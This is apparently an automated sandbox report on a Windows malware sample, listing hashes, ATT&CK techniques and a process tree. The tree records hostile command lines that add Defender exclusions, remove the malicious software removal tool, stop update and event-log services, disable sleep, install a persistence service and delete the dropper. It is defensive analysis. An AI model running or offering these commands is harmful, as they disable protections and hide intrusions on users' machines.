8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480

Analysis

max time kernel
16s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
_8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480.exe
Size 3.3MB
Sample260625-pntcmsby4x
SHA256 8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480
MD5 32a09ed1e719a39805d854a368ba9ef6
SHA1 4a16937299536c6290f250d489759b1df321a0d2
SHA512 911c3a0b117d22bf795aced1341c8aa690f741d4752a93e43c02bf3f3303f83668e1f2be5375fe7db72c1546f942ae5fef7a89c3992cc9dc34b57cde00801823
SSDEEP 49152:Jzjw+gRIIHKcQ6jiOcPk6Voq8T+vzouAzorT1GUkyrl:Jzjw3+2KcQScPfVoazouAkP8UT
TLSH
T147F533E12D4054BDDBA348B693EE2F518B3F25960750B8CB17D3E5512F26AC2AA37C60
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe
1288	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5104	powercfg.exe
1276	powercfg.exe
3764	powercfg.exe
2648	powercfg.exe
5820	powercfg.exe
3108	powercfg.exe
828	powercfg.exe
5288	powercfg.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5064	sc.exe
4308	sc.exe
1568	sc.exe
3480	sc.exe
564	sc.exe
1536	sc.exe
1820	sc.exe
5928	sc.exe
2040	sc.exe
4120	sc.exe
2676	sc.exe
5376	sc.exe
4204	sc.exe
2800	sc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2640	_8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480.exe
1344	powershell.exe
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe

C:\Users\Admin\AppData\Local\Temp\_8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480.exe
"C:\Users\Admin\AppData\Local\Temp\_8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2640
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2504
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1516
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5064
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5928
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2040
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4308
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1568
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3764
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2648
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:5820
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:3108
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3228
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "TOPSOCSR"
  2⤵
  - Launches sc.exe
  PID:3480
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "TOPSOCSR" binpath= "C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:564
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:4120
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "TOPSOCSR"
  2⤵
  - Launches sc.exe
  PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\_8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480.exe"
  2⤵
  PID:2704
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:612

C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
1⤵
PID:940
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:3640
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4844
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1536
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5376
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4204
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1820
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2800
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:828
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5288
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1276
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:5104
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1496
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

szlvtzbcbfby.exe

Path C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
Size 3.3MB
SHA256 8fc455e31efe2cbb2ccffb27169f67e54d2535ecc71aa070f0d26817d0aca480
MD5 32a09ed1e719a39805d854a368ba9ef6
SHA1 4a16937299536c6290f250d489759b1df321a0d2
SHA512 911c3a0b117d22bf795aced1341c8aa690f741d4752a93e43c02bf3f3303f83668e1f2be5375fe7db72c1546f942ae5fef7a89c3992cc9dc34b57cde00801823
SSDEEP 49152:Jzjw+gRIIHKcQ6jiOcPk6Voq8T+vzouAzorT1GUkyrl:Jzjw3+2KcQScPfVoazouAkP8UT
TLSH
T147F533E12D4054BDDBA348B693EE2F518B3F25960750B8CB17D3E5512F26AC2AA37C60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_pk0t50bg.srq.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_pk0t50bg.srq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1288-39-0x0000022FCF8F0000-0x0000022FCF9A2000-memory.dmp

Download

memory/1344-18-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-20-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-7-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-8-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-9-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-10-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-11-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-12-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-15-0x00000158A0000000-0x00000158A001E000-memory.dmp

Download

memory/1344-16-0x00000158A0020000-0x00000158A00D2000-memory.dmp

Download

memory/1344-17-0x00000158A00E0000-0x00000158A00EA000-memory.dmp

Download

memory/1344-0-0x00007FFA3408F000-0x00007FFA34090000-memory.dmp

Download

memory/1344-19-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-6-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-21-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-22-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-23-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-24-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-26-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-1-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-5-0x00007FFA33F00000-0x00007FFA348A4000-memory.dmp

Download

memory/1344-4-0x000001589FF60000-0x000001589FF82000-memory.dmp

Download

memory/3228-27-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3228-29-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3228-30-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3228-28-0x0000000140000000-0x000000014002B000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads